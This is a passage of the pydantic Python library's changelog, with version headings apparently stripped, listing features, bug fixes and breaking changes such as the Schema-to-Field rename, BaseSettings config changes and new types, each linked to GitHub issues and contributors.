  * Add support for custom naming schemes for `GenericModel` subclasses, [#859](https://github.com/pydantic/pydantic/issues/859) by [@dmontagu](https://github.com/dmontagu)
  * Add `if TYPE_CHECKING:` to the excluded lines for test coverage, [#874](https://github.com/pydantic/pydantic/issues/874) by [@dmontagu](https://github.com/dmontagu)
  * Rename `allow_population_by_alias` to `allow_population_by_field_name`, remove unnecessary warning about it, [#875](https://github.com/pydantic/pydantic/issues/875) by [@samuelcolvin](https://github.com/samuelcolvin)



  * **Breaking Change:** rename `Schema` to `Field`, make it a function to placate mypy, [#577](https://github.com/pydantic/pydantic/issues/577) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking Change:** modify parsing behavior for `bool`, [#617](https://github.com/pydantic/pydantic/issues/617) by [@dmontagu](https://github.com/dmontagu)
  * **Breaking Change:** `get_validators` is no longer recognised, use `__get_validators__`.
    `Config.ignore_extra` and `Config.allow_extra` are no longer recognised, use `Config.extra`, [#720](https://github.com/pydantic/pydantic/issues/720) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking Change:** modify default config settings for `BaseSettings`; `case_insensitive` renamed to `case_sensitive`,
    default changed to `case_sensitive = False`, `env_prefix` default changed to `''` - e.g. no prefix, [#721](https://github.com/pydantic/pydantic/issues/721) by [@dmontagu](https://github.com/dmontagu)
  * **Breaking change:** Implement `root_validator` and rename root errors from `__obj__` to `__root__`, [#729](https://github.com/pydantic/pydantic/issues/729) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking Change:** alter the behaviour of `dict(model)` so that sub-models are nolonger
    converted to dictionaries, [#733](https://github.com/pydantic/pydantic/issues/733) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking change:** Added `initvars` support to `post_init_post_parse`, [#748](https://github.com/pydantic/pydantic/issues/748) by [@Raphael-C-Almeida](https://github.com/Raphael-C-Almeida)
  * **Breaking Change:** Make `BaseModel.json()` only serialize the `__root__` key for models with custom root, [#752](https://github.com/pydantic/pydantic/issues/752) by [@dmontagu](https://github.com/dmontagu)
  * **Breaking Change:** complete rewrite of `URL` parsing logic, [#755](https://github.com/pydantic/pydantic/issues/755) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **Breaking Change:** preserve superclass annotations for field-determination when not provided in subclass, [#757](https://github.com/pydantic/pydantic/issues/757) by [@dmontagu](https://github.com/dmontagu)
  * **Breaking Change:** `BaseSettings` now uses the special `env` settings to define which environment variables to
    read, not aliases, [#847](https://github.com/pydantic/pydantic/issues/847) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add support for `assert` statements inside validators, [#653](https://github.com/pydantic/pydantic/issues/653) by [@abdusco](https://github.com/abdusco)
  * Update documentation to specify the use of `pydantic.dataclasses.dataclass` and subclassing `pydantic.BaseModel`, [#710](https://github.com/pydantic/pydantic/issues/710) by [@maddosaurus](https://github.com/maddosaurus)
  * Allow custom JSON decoding and encoding via `json_loads` and `json_dumps` `Config` properties, [#714](https://github.com/pydantic/pydantic/issues/714) by [@samuelcolvin](https://github.com/samuelcolvin)
  * make all annotated fields occur in the order declared, [#715](https://github.com/pydantic/pydantic/issues/715) by [@dmontagu](https://github.com/dmontagu)
  * use pytest to test `mypy` integration, [#735](https://github.com/pydantic/pydantic/issues/735) by [@dmontagu](https://github.com/dmontagu)
  * add `__repr__` method to `ErrorWrapper`, [#738](https://github.com/pydantic/pydantic/issues/738) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Added support for `FrozenSet` members in dataclasses, and a better error when attempting to use types from the `typing` module that are not supported by Pydantic, [#745](https://github.com/pydantic/pydantic/issues/745) by [@djpetti](https://github.com/djpetti)
  * add documentation for Pycharm Plugin, [#750](https://github.com/pydantic/pydantic/issues/750) by [@koxudaxi](https://github.com/koxudaxi)
  * fix broken examples in the docs, [#753](https://github.com/pydantic/pydantic/issues/753) by [@dmontagu](https://github.com/dmontagu)
  * moving typing related objects into `pydantic.typing`, [#761](https://github.com/pydantic/pydantic/issues/761) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Minor performance improvements to `ErrorWrapper`, `ValidationError` and datetime parsing, [#763](https://github.com/pydantic/pydantic/issues/763) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Improvements to `datetime`/`date`/`time`/`timedelta` types: more descriptive errors,
    change errors to `value_error` not `type_error`, support bytes, [#766](https://github.com/pydantic/pydantic/issues/766) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix error messages for `Literal` types with multiple allowed values, [#770](https://github.com/pydantic/pydantic/issues/770) by [@dmontagu](https://github.com/dmontagu)
  * Improved auto-generated `title` field in JSON schema by converting underscore to space, [#772](https://github.com/pydantic/pydantic/issues/772) by [@skewty](https://github.com/skewty)
  * support `mypy --no-implicit-reexport` for dataclasses, also respect `--no-implicit-reexport` in pydantic itself, [#783](https://github.com/pydantic/pydantic/issues/783) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add the `PaymentCardNumber` type, [#790](https://github.com/pydantic/pydantic/issues/790) by [@matin](https://github.com/matin)
  * Fix const validations for lists, [#794](https://github.com/pydantic/pydantic/issues/794) by [@hmvp](https://github.com/hmvp)
  * Set `additionalProperties` to false in schema for models with extra fields disallowed, [#796](https://github.com/pydantic/pydantic/issues/796) by [@Code0x58](https://github.com/Code0x58)
  * `EmailStr` validation method now returns local part case-sensitive per RFC 5321, [#798](https://github.com/pydantic/pydantic/issues/798) by [@henriklindgren](https://github.com/henriklindgren)
  * Added ability to validate strictness to `ConstrainedFloat`, `ConstrainedInt` and `ConstrainedStr` and added
    `StrictFloat` and `StrictInt` classes, [#799](https://github.com/pydantic/pydantic/issues/799) by [@DerRidda](https://github.com/DerRidda)
  * Improve handling of `None` and `Optional`, replace `whole` with `each_item` (inverse meaning, default `False`)
    on validators, [#803](https://github.com/pydantic/pydantic/issues/803) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add support for `Type[T]` type hints, [#807](https://github.com/pydantic/pydantic/issues/807) by [@timonbimon](https://github.com/timonbimon)
  * Performance improvements from removing `change_exceptions`, change how pydantic error are constructed, [#819](https://github.com/pydantic/pydantic/issues/819) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix the error message arising when a `BaseModel`-type model field causes a `ValidationError` during parsing, [#820](https://github.com/pydantic/pydantic/issues/820) by [@dmontagu](https://github.com/dmontagu)
  * allow `getter_dict` on `Config`, modify `GetterDict` to be more like a `Mapping` object and thus easier to work with, [#821](https://github.com/pydantic/pydantic/issues/821) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Only check `TypeVar` param on base `GenericModel` class, [#842](https://github.com/pydantic/pydantic/issues/842) by [@zpencerq](https://github.com/zpencerq)
  * rename `Model._schema_cache` -> `Model.__schema_cache__`, `Model._json_encoder` -> `Model.__json_encoder__`,
    `Model._custom_root_type` -> `Model.__custom_root_type__`, [#851](https://github.com/pydantic/pydantic/issues/851) by [@samuelcolvin](https://github.com/samuelcolvin)



  (Docs are available [here](https://5d584fcca7c9b70007d1c997--pydantic-docs.netlify.com))

  * fix `__post_init__` usage with dataclass inheritance, fix [#739](https://github.com/pydantic/pydantic/issues/739) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix required fields validation on GenericModels classes, [#742](https://github.com/pydantic/pydantic/issues/742) by [@amitbl](https://github.com/amitbl)
  * fix defining custom `Schema` on `GenericModel` fields, [#754](https://github.com/pydantic/pydantic/issues/754) by [@amitbl](https://github.com/amitbl)



  * do not validate extra fields when `validate_assignment` is on, [#724](https://github.com/pydantic/pydantic/issues/724) by [@YaraslauZhylko](https://github.com/YaraslauZhylko)



  * add model name to `ValidationError` error message, [#676](https://github.com/pydantic/pydantic/issues/676) by [@dmontagu](https://github.com/dmontagu)
  * **breaking change**: remove `__getattr__` and rename `__values__` to `__dict__` on `BaseModel`,
    deprecation warning on use `__values__` attr, attributes access speed increased up to 14 times, [#712](https://github.com/pydantic/pydantic/issues/712) by [@Bobronium](https://github.com/Bobronium)
  * support `ForwardRef` (without self-referencing annotations) in Python 3.6, [#706](https://github.com/pydantic/pydantic/issues/706) by [@koxudaxi](https://github.com/koxudaxi)
  * implement `schema_extra` in `Config` sub-class, [#663](https://github.com/pydantic/pydantic/issues/663) by [@tiangolo](https://github.com/tiangolo)



  * fix json generation for `EnumError`, [#697](https://github.com/pydantic/pydantic/issues/697) by [@dmontagu](https://github.com/dmontagu)
  * update numerous dependencies



  * better support for floating point `multiple_of` values, [#652](https://github.com/pydantic/pydantic/issues/652) by [@justindujardin](https://github.com/justindujardin)
  * fix schema generation for `NewType` and `Literal`, [#649](https://github.com/pydantic/pydantic/issues/649) by [@dmontagu](https://github.com/dmontagu)
  * fix `alias_generator` and field config conflict, [#645](https://github.com/pydantic/pydantic/issues/645) by [@gmetzker](https://github.com/gmetzker) and [#658](https://github.com/pydantic/pydantic/issues/658) by [@Bobronium](https://github.com/Bobronium)
  * more detailed message for `EnumError`, [#673](https://github.com/pydantic/pydantic/issues/673) by [@dmontagu](https://github.com/dmontagu)
  * add advanced exclude support for `dict`, `json` and `copy`, [#648](https://github.com/pydantic/pydantic/issues/648) by [@Bobronium](https://github.com/Bobronium)
  * fix bug in `GenericModel` for models with concrete parameterized fields, [#672](https://github.com/pydantic/pydantic/issues/672) by [@dmontagu](https://github.com/dmontagu)
  * add documentation for `Literal` type, [#651](https://github.com/pydantic/pydantic/issues/651) by [@dmontagu](https://github.com/dmontagu)
  * add `Config.keep_untouched` for custom descriptors support, [#679](https://github.com/pydantic/pydantic/issues/679) by [@Bobronium](https://github.com/Bobronium)
  * use `inspect.cleandoc` internally to get model description, [#657](https://github.com/pydantic/pydantic/issues/657) by [@tiangolo](https://github.com/tiangolo)
  * add `Color` to schema generation, by [@euri10](https://github.com/euri10)
  * add documentation for Literal type, [#651](https://github.com/pydantic/pydantic/issues/651) by [@dmontagu](https://github.com/dmontagu)



  * fix so nested classes which inherit and change `__init__` are correctly processed while still allowing `self` as a
    parameter, [#644](https://github.com/pydantic/pydantic/issues/644) by [@lnaden](https://github.com/lnaden) and [@dgasmith](https://github.com/dgasmith)



  * enforce single quotes in code, [#612](https://github.com/pydantic/pydantic/issues/612) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix infinite recursion with dataclass inheritance and `__post_init__`, [#606](https://github.com/pydantic/pydantic/issues/606) by [@Hanaasagi](https://github.com/Hanaasagi)
  * fix default values for `GenericModel`, [#610](https://github.com/pydantic/pydantic/issues/610) by [@dmontagu](https://github.com/dmontagu)
  * clarify that self-referencing models require Python 3.7+, [#616](https://github.com/pydantic/pydantic/issues/616) by [@vlcinsky](https://github.com/vlcinsky)
  * fix truncate for types, [#611](https://github.com/pydantic/pydantic/issues/611) by [@dmontagu](https://github.com/dmontagu)
  * add `alias_generator` support, [#622](https://github.com/pydantic/pydantic/issues/622) by [@Bobronium](https://github.com/Bobronium)
  * fix unparameterized generic type schema generation, [#625](https://github.com/pydantic/pydantic/issues/625) by [@dmontagu](https://github.com/dmontagu)
  * fix schema generation with multiple/circular references to the same model, [#621](https://github.com/pydantic/pydantic/issues/621) by [@tiangolo](https://github.com/tiangolo) and [@wongpat](https://github.com/wongpat)
  * support custom root types, [#628](https://github.com/pydantic/pydantic/issues/628) by [@koxudaxi](https://github.com/koxudaxi)
  * support `self` as a field name in `parse_obj`, [#632](https://github.com/pydantic/pydantic/issues/632) by [@samuelcolvin](https://github.com/samuelcolvin)



  * support dataclasses.InitVar, [#592](https://github.com/pydantic/pydantic/issues/592) by [@pfrederiks](https://github.com/pfrederiks)
  * Updated documentation to elucidate the usage of `Union` when defining multiple types under an attribute's
    annotation and showcase how the type-order can affect marshalling of provided values, [#594](https://github.com/pydantic/pydantic/issues/594) by [@somada141](https://github.com/somada141)
  * add `conlist` type, [#583](https://github.com/pydantic/pydantic/issues/583) by [@hmvp](https://github.com/hmvp)
  * add support for generics, [#595](https://github.com/pydantic/pydantic/issues/595) by [@dmontagu](https://github.com/dmontagu)



  * fix support for JSON Schema generation when using models with circular references in Python 3.7, [#572](https://github.com/pydantic/pydantic/issues/572) by [@tiangolo](https://github.com/tiangolo)
  * support `__post_init_post_parse__` on dataclasses, [#567](https://github.com/pydantic/pydantic/issues/567) by [@sevaho](https://github.com/sevaho)
  * allow dumping dataclasses to JSON, [#575](https://github.com/pydantic/pydantic/issues/575) by [@samuelcolvin](https://github.com/samuelcolvin) and [@DanielOberg](https://github.com/DanielOberg)
  * ORM mode, [#562](https://github.com/pydantic/pydantic/issues/562) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix `pydantic.compiled` on ipython, [#573](https://github.com/pydantic/pydantic/issues/573) by [@dmontagu](https://github.com/dmontagu) and [@samuelcolvin](https://github.com/samuelcolvin)
  * add `StrictBool` type, [#579](https://github.com/pydantic/pydantic/issues/579) by [@cazgp](https://github.com/cazgp)



  * **breaking change**  `_pydantic_post_init` to execute dataclass' original `__post_init__` before
    validation, [#560](https://github.com/pydantic/pydantic/issues/560) by [@HeavenVolkoff](https://github.com/HeavenVolkoff)
  * fix handling of generic types without specified parameters, [#550](https://github.com/pydantic/pydantic/issues/550) by [@dmontagu](https://github.com/dmontagu)
  * **breaking change** (maybe): this is the first release compiled with **cython**, see the docs and please
    submit an issue if you run into problems



  * fix JSON Schema for `list`, `tuple`, and `set`, [#540](https://github.com/pydantic/pydantic/issues/540) by [@tiangolo](https://github.com/tiangolo)
  * compiling with cython, `manylinux` binaries, some other performance improvements, [#548](https://github.com/pydantic/pydantic/issues/548) by [@samuelcolvin](https://github.com/samuelcolvin)



  * fix to schema generation for `IPvAnyAddress`, `IPvAnyInterface`, `IPvAnyNetwork` [#498](https://github.com/pydantic/pydantic/issues/498) by [@pilosus](https://github.com/pilosus)
  * fix variable length tuples support, [#495](https://github.com/pydantic/pydantic/issues/495) by [@pilosus](https://github.com/pilosus)
  * fix return type hint for `create_model`, [#526](https://github.com/pydantic/pydantic/issues/526) by [@dmontagu](https://github.com/dmontagu)
  * **Breaking Change:** fix `.dict(skip_keys=True)` skipping values set via alias (this involves changing
    `validate_model()` to always returns `Tuple[Dict[str, Any], Set[str], Optional[ValidationError]]`), [#517](https://github.com/pydantic/pydantic/issues/517) by [@sommd](https://github.com/sommd)
  * fix to schema generation for `IPv4Address`, `IPv6Address`, `IPv4Interface`,
    `IPv6Interface`, `IPv4Network`, `IPv6Network` [#532](https://github.com/pydantic/pydantic/issues/532) by [@euri10](https://github.com/euri10)
  * add `Color` type, [#504](https://github.com/pydantic/pydantic/issues/504) by [@pilosus](https://github.com/pilosus) and [@samuelcolvin](https://github.com/samuelcolvin)



  * Improve documentation on self-referencing models and annotations, [#487](https://github.com/pydantic/pydantic/issues/487) by [@theenglishway](https://github.com/theenglishway)
  * fix `.dict()` with extra keys, [#490](https://github.com/pydantic/pydantic/issues/490) by [@JaewonKim](https://github.com/JaewonKim)
  * support `const` keyword in `Schema`, [#434](https://github.com/pydantic/pydantic/issues/434) by [@Sean1708](https://github.com/Sean1708)



  * fix handling `ForwardRef` in sub-types, like `Union`, [#464](https://github.com/pydantic/pydantic/issues/464) by [@tiangolo](https://github.com/tiangolo)
  * fix secret serialization, [#465](https://github.com/pydantic/pydantic/issues/465) by [@atheuz](https://github.com/atheuz)
  * Support custom validators for dataclasses, [#454](https://github.com/pydantic/pydantic/issues/454) by [@primal100](https://github.com/primal100)
  * fix `parse_obj` to cope with dict-like objects, [#472](https://github.com/pydantic/pydantic/issues/472) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix to schema generation in nested dataclass-based models, [#474](https://github.com/pydantic/pydantic/issues/474) by [@NoAnyLove](https://github.com/NoAnyLove)
  * fix `json` for `Path`, `FilePath`, and `DirectoryPath` objects, [#473](https://github.com/pydantic/pydantic/issues/473) by [@mikegoodspeed](https://github.com/mikegoodspeed)



  * improve documentation for contributing section, [#441](https://github.com/pydantic/pydantic/issues/441) by [@pilosus](https://github.com/pilosus)
  * improve README.rst to include essential information about the package, [#446](https://github.com/pydantic/pydantic/issues/446) by [@pilosus](https://github.com/pilosus)
  * `IntEnum` support, [#444](https://github.com/pydantic/pydantic/issues/444) by [@potykion](https://github.com/potykion)
  * fix PyObject callable value, [#409](https://github.com/pydantic/pydantic/issues/409) by [@pilosus](https://github.com/pilosus)
  * fix `black` deprecation warnings after update, [#451](https://github.com/pydantic/pydantic/issues/451) by [@pilosus](https://github.com/pilosus)
  * fix `ForwardRef` collection bug, [#450](https://github.com/pydantic/pydantic/issues/450) by [@tigerwings](https://github.com/tigerwings)
  * Support specialized `ClassVars`, [#455](https://github.com/pydantic/pydantic/issues/455) by [@tyrylu](https://github.com/tyrylu)
  * fix JSON serialization for `ipaddress` types, [#333](https://github.com/pydantic/pydantic/issues/333) by [@pilosus](https://github.com/pilosus)
  * add `SecretStr` and `SecretBytes` types, [#452](https://github.com/pydantic/pydantic/issues/452) by [@atheuz](https://github.com/atheuz)



  * add `IPv{4,6,Any}Network` and `IPv{4,6,Any}Interface` types from `ipaddress` stdlib, [#333](https://github.com/pydantic/pydantic/issues/333) by [@pilosus](https://github.com/pilosus)
  * add docs for `datetime` types, [#386](https://github.com/pydantic/pydantic/issues/386) by [@pilosus](https://github.com/pilosus)
  * fix to schema generation in dataclass-based models, [#408](https://github.com/pydantic/pydantic/issues/408) by [@pilosus](https://github.com/pilosus)
  * fix path in nested models, [#437](https://github.com/pydantic/pydantic/issues/437) by [@kataev](https://github.com/kataev)
  * add `Sequence` support, [#304](https://github.com/pydantic/pydantic/issues/304) by [@pilosus](https://github.com/pilosus)



  * fix typo in `NoneIsNotAllowedError` message, [#414](https://github.com/pydantic/pydantic/issues/414) by [@YaraslauZhylko](https://github.com/YaraslauZhylko)
  * add `IPvAnyAddress`, `IPv4Address` and `IPv6Address` types, [#333](https://github.com/pydantic/pydantic/issues/333) by [@pilosus](https://github.com/pilosus)



  * fix type hints of `parse_obj` and similar methods, [#405](https://github.com/pydantic/pydantic/issues/405) by [@erosennin](https://github.com/erosennin)
  * fix submodel validation, [#403](https://github.com/pydantic/pydantic/issues/403) by [@samuelcolvin](https://github.com/samuelcolvin)
  * correct type hints for `ValidationError.json`, [#406](https://github.com/pydantic/pydantic/issues/406) by [@layday](https://github.com/layday)



  * fix tests for Python 3.8, [#396](https://github.com/pydantic/pydantic/issues/396) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Adds fields to the `dir` method for autocompletion in interactive sessions, [#398](https://github.com/pydantic/pydantic/issues/398) by [@dgasmith](https://github.com/dgasmith)
  * support `ForwardRef` (and therefore `from __future__ import annotations`) with dataclasses, [#397](https://github.com/pydantic/pydantic/issues/397) by [@samuelcolvin](https://github.com/samuelcolvin)



  * **breaking change** (maybe): more sophisticated argument parsing for validators, any subset of
    `values`, `config` and `field` is now permitted, eg. `(cls, value, field)`,
    however the variadic key word argument ("`**kwargs`") **must** be called `kwargs`, [#388](https://github.com/pydantic/pydantic/issues/388) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **breaking change**: Adds `skip_defaults` argument to `BaseModel.dict()` to allow skipping of fields that
    were not explicitly set, signature of `Model.construct()` changed, [#389](https://github.com/pydantic/pydantic/issues/389) by [@dgasmith](https://github.com/dgasmith)
  * add `py.typed` marker file for PEP-561 support, [#391](https://github.com/pydantic/pydantic/issues/391) by [@je-l](https://github.com/je-l)
  * Fix `extra` behaviour for multiple inheritance/mix-ins, [#394](https://github.com/pydantic/pydantic/issues/394) by [@YaraslauZhylko](https://github.com/YaraslauZhylko)



  * Support `Callable` type hint, fix [#279](https://github.com/pydantic/pydantic/issues/279) by [@proofit404](https://github.com/proofit404)
  * Fix schema for fields with `validator` decorator, fix [#375](https://github.com/pydantic/pydantic/issues/375) by [@tiangolo](https://github.com/tiangolo)
  * Add `multiple_of` constraint to `ConstrainedDecimal`, `ConstrainedFloat`, `ConstrainedInt`
    and their related types `condecimal`, `confloat`, and `conint` [#371](https://github.com/pydantic/pydantic/issues/371), thanks [@StephenBrown2](https://github.com/StephenBrown2)
  * Deprecated `ignore_extra` and `allow_extra` Config fields in favor of `extra`, [#352](https://github.com/pydantic/pydantic/issues/352) by [@liiight](https://github.com/liiight)
  * Add type annotations to all functions, test fully with mypy, [#373](https://github.com/pydantic/pydantic/issues/373) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix for 'missing' error with `validate_all` or `validate_always`, [#381](https://github.com/pydantic/pydantic/issues/381) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Change the second/millisecond watershed for date/datetime parsing to `2e10`, [#385](https://github.com/pydantic/pydantic/issues/385) by [@samuelcolvin](https://github.com/samuelcolvin)



  * Fix to schema generation with `Optional` fields, fix [#361](https://github.com/pydantic/pydantic/issues/361) by [@samuelcolvin](https://github.com/samuelcolvin)



  * add `ConstrainedBytes` and `conbytes` types, [#315](https://github.com/pydantic/pydantic/issues/315) [@Gr1N](https://github.com/Gr1N)
  * adding `MANIFEST.in` to include license in package `.tar.gz`, [#358](https://github.com/pydantic/pydantic/issues/358) by [@samuelcolvin](https://github.com/samuelcolvin)



  * **breaking change**: don't call validators on keys of dictionaries, [#254](https://github.com/pydantic/pydantic/issues/254) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix validators with `always=True` when the default is `None` or the type is optional, also prevent
    `whole` validators being called for sub-fields, fix [#132](https://github.com/pydantic/pydantic/issues/132) by [@samuelcolvin](https://github.com/samuelcolvin)
  * improve documentation for settings priority and allow it to be easily changed, [#343](https://github.com/pydantic/pydantic/issues/343) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix `ignore_extra=False` and `allow_population_by_alias=True`, fix [#257](https://github.com/pydantic/pydantic/issues/257) by [@samuelcolvin](https://github.com/samuelcolvin)
  * **breaking change**: Set `BaseConfig` attributes `min_anystr_length` and `max_anystr_length` to
    `None` by default, fix [#349](https://github.com/pydantic/pydantic/issues/349) in [#350](https://github.com/pydantic/pydantic/issues/350) by [@tiangolo](https://github.com/tiangolo)
  * add support for postponed annotations, [#348](https://github.com/pydantic/pydantic/issues/348) by [@samuelcolvin](https://github.com/samuelcolvin)



  * fix schema for `timedelta` as number, [#325](https://github.com/pydantic/pydantic/issues/325) by [@tiangolo](https://github.com/tiangolo)
  * prevent validators being called repeatedly after inheritance, [#327](https://github.com/pydantic/pydantic/issues/327) by [@samuelcolvin](https://github.com/samuelcolvin)
  * prevent duplicate validator check in ipython, fix [#312](https://github.com/pydantic/pydantic/issues/312) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add "Using Pydantic" section to docs, [#323](https://github.com/pydantic/pydantic/issues/323) by [@tiangolo](https://github.com/tiangolo) & [#326](https://github.com/pydantic/pydantic/issues/326) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix schema generation for fields annotated as `: dict`, `: list`,
    `: tuple` and `: set`, [#330](https://github.com/pydantic/pydantic/issues/330) & [#335](https://github.com/pydantic/pydantic/issues/335) by [@nkonin](https://github.com/nkonin)
  * add support for constrained strings as dict keys in schema, [#332](https://github.com/pydantic/pydantic/issues/332) by [@tiangolo](https://github.com/tiangolo)
  * support for passing Config class in dataclasses decorator, [#276](https://github.com/pydantic/pydantic/issues/276) by [@jarekkar](https://github.com/jarekkar)
    (**breaking change**: this supersedes the `validate_assignment` argument with `config`)
  * support for nested dataclasses, [#334](https://github.com/pydantic/pydantic/issues/334) by [@samuelcolvin](https://github.com/samuelcolvin)
  * better errors when getting an `ImportError` with `PyObject`, [#309](https://github.com/pydantic/pydantic/issues/309) by [@samuelcolvin](https://github.com/samuelcolvin)
  * rename `get_validators` to `__get_validators__`, deprecation warning on use of old name, [#338](https://github.com/pydantic/pydantic/issues/338) by [@samuelcolvin](https://github.com/samuelcolvin)
  * support `ClassVar` by excluding such attributes from fields, [#184](https://github.com/pydantic/pydantic/issues/184) by [@samuelcolvin](https://github.com/samuelcolvin)



  * fix `create_model` to correctly use the passed `__config__`, [#320](https://github.com/pydantic/pydantic/issues/320) by [@hugoduncan](https://github.com/hugoduncan)



  * **breaking change**: refactor schema generation to be compatible with JSON Schema and OpenAPI specs, [#308](https://github.com/pydantic/pydantic/issues/308) by [@tiangolo](https://github.com/tiangolo)
  * add `schema` to `schema` module to generate top-level schemas from base models, [#308](https://github.com/pydantic/pydantic/issues/308) by [@tiangolo](https://github.com/tiangolo)
  * add additional fields to `Schema` class to declare validation for `str` and numeric values, [#311](https://github.com/pydantic/pydantic/issues/311) by [@tiangolo](https://github.com/tiangolo)
  * rename `_schema` to `schema` on fields, [#318](https://github.com/pydantic/pydantic/issues/318) by [@samuelcolvin](https://github.com/samuelcolvin)
  * add `case_insensitive` option to `BaseSettings` `Config`, [#277](https://github.com/pydantic/pydantic/issues/277) by [@jasonkuhrt](https://github.com/jasonkuhrt)



  * move codebase to use black, [#287](https://github.com/pydantic/pydantic/issues/287) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix alias use in settings, [#286](https://github.com/pydantic/pydantic/issues/286) by [@jasonkuhrt](https://github.com/jasonkuhrt) and [@samuelcolvin](https://github.com/samuelcolvin)
  * fix datetime parsing in `parse_date`, [#298](https://github.com/pydantic/pydantic/issues/298) by [@samuelcolvin](https://github.com/samuelcolvin)
  * allow dataclass inheritance, fix [#293](https://github.com/pydantic/pydantic/issues/293) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix `PyObject = None`, fix [#305](https://github.com/pydantic/pydantic/issues/305) by [@samuelcolvin](https://github.com/samuelcolvin)
  * allow `Pattern` type, fix [#303](https://github.com/pydantic/pydantic/issues/303) by [@samuelcolvin](https://github.com/samuelcolvin)



  * dataclasses decorator, [#269](https://github.com/pydantic/pydantic/issues/269) by [@Gaunt](https://github.com/Gaunt) and [@samuelcolvin](https://github.com/samuelcolvin)



  * fix issue where int_validator doesn't cast a `bool` to an `int` [#264](https://github.com/pydantic/pydantic/issues/264) by [@nphyatt](https://github.com/nphyatt)
  * add deep copy support for `BaseModel.copy()` [#249](https://github.com/pydantic/pydantic/issues/249), [@gangefors](https://github.com/gangefors)



  * raise an exception if a field's name shadows an existing `BaseModel` attribute [#242](https://github.com/pydantic/pydantic/issues/242)
  * add `UrlStr` and `urlstr` types [#236](https://github.com/pydantic/pydantic/issues/236)
  * timedelta json encoding ISO8601 and total seconds, custom json encoders [#247](https://github.com/pydantic/pydantic/issues/247), by [@cfkanesan](https://github.com/cfkanesan) and [@samuelcolvin](https://github.com/samuelcolvin)
  * allow `timedelta` objects as values for properties of type `timedelta` (matches `datetime` etc. behavior) [#247](https://github.com/pydantic/pydantic/issues/247)



  * fix schema generation for fields defined using `typing.Any` [#237](https://github.com/pydantic/pydantic/issues/237)



  * add `by_alias` argument in `.dict()` and `.json()` model methods [#205](https://github.com/pydantic/pydantic/issues/205)
  * add Json type support [#214](https://github.com/pydantic/pydantic/issues/214)
  * support tuples [#227](https://github.com/pydantic/pydantic/issues/227)
  * major improvements and changes to schema [#213](https://github.com/pydantic/pydantic/issues/213)



  * add `NewType` support [#115](https://github.com/pydantic/pydantic/issues/115)
  * fix `list`, `set` & `tuple` validation [#225](https://github.com/pydantic/pydantic/issues/225)
  * separate out `validate_model` method, allow errors to be returned along with valid values [#221](https://github.com/pydantic/pydantic/issues/221)



  * support Python 3.7 [#216](https://github.com/pydantic/pydantic/issues/216), thanks [@layday](https://github.com/layday)
  * Allow arbitrary types in model [#209](https://github.com/pydantic/pydantic/issues/209), thanks [@oldPadavan](https://github.com/oldPadavan)



  * make `list`, `tuple` and `set` types stricter [#86](https://github.com/pydantic/pydantic/issues/86)
  * **breaking change**: remove msgpack parsing [#201](https://github.com/pydantic/pydantic/issues/201)
  * add `FilePath` and `DirectoryPath` types [#10](https://github.com/pydantic/pydantic/issues/10)
  * model schema generation [#190](https://github.com/pydantic/pydantic/issues/190)
  * JSON serialisation of models and schemas [#133](https://github.com/pydantic/pydantic/issues/133)



  * add `Config.allow_population_by_alias` [#160](https://github.com/pydantic/pydantic/issues/160), thanks [@bendemaree](https://github.com/bendemaree)
  * **breaking change**: new errors format [#179](https://github.com/pydantic/pydantic/issues/179), thanks [@Gr1N](https://github.com/Gr1N)
  * **breaking change**: removed `Config.min_number_size` and `Config.max_number_size` [#183](https://github.com/pydantic/pydantic/issues/183), thanks [@Gr1N](https://github.com/Gr1N)
  * **breaking change**: correct behaviour of `lt` and `gt` arguments to `conint` etc. [#188](https://github.com/pydantic/pydantic/issues/188)
    for the old behaviour use `le` and `ge` [#194](https://github.com/pydantic/pydantic/issues/194), thanks [@jaheba](https://github.com/jaheba)
  * added error context and ability to redefine error message templates using `Config.error_msg_templates` [#183](https://github.com/pydantic/pydantic/issues/183),
    thanks [@Gr1N](https://github.com/Gr1N)
  * fix typo in validator exception [#150](https://github.com/pydantic/pydantic/issues/150)
  * copy defaults to model values, so different models don't share objects [#154](https://github.com/pydantic/pydantic/issues/154)



  * allow custom `get_field_config` on config classes [#159](https://github.com/pydantic/pydantic/issues/159)
  * add `UUID1`, `UUID3`, `UUID4` and `UUID5` types [#167](https://github.com/pydantic/pydantic/issues/167), thanks [@Gr1N](https://github.com/Gr1N)
  * modify some inconsistent docstrings and annotations [#173](https://github.com/pydantic/pydantic/issues/173), thanks [@YannLuo](https://github.com/YannLuo)
  * fix type annotations for exotic types [#171](https://github.com/pydantic/pydantic/issues/171), thanks [@Gr1N](https://github.com/Gr1N)
  * re-use type validators in exotic types [#171](https://github.com/pydantic/pydantic/issues/171)
  * scheduled monthly requirements updates [#168](https://github.com/pydantic/pydantic/issues/168)
  * add `Decimal`, `ConstrainedDecimal` and `condecimal` types [#170](https://github.com/pydantic/pydantic/issues/170), thanks [@Gr1N](https://github.com/Gr1N)



  * tweak email-validator import error message [#145](https://github.com/pydantic/pydantic/issues/145)
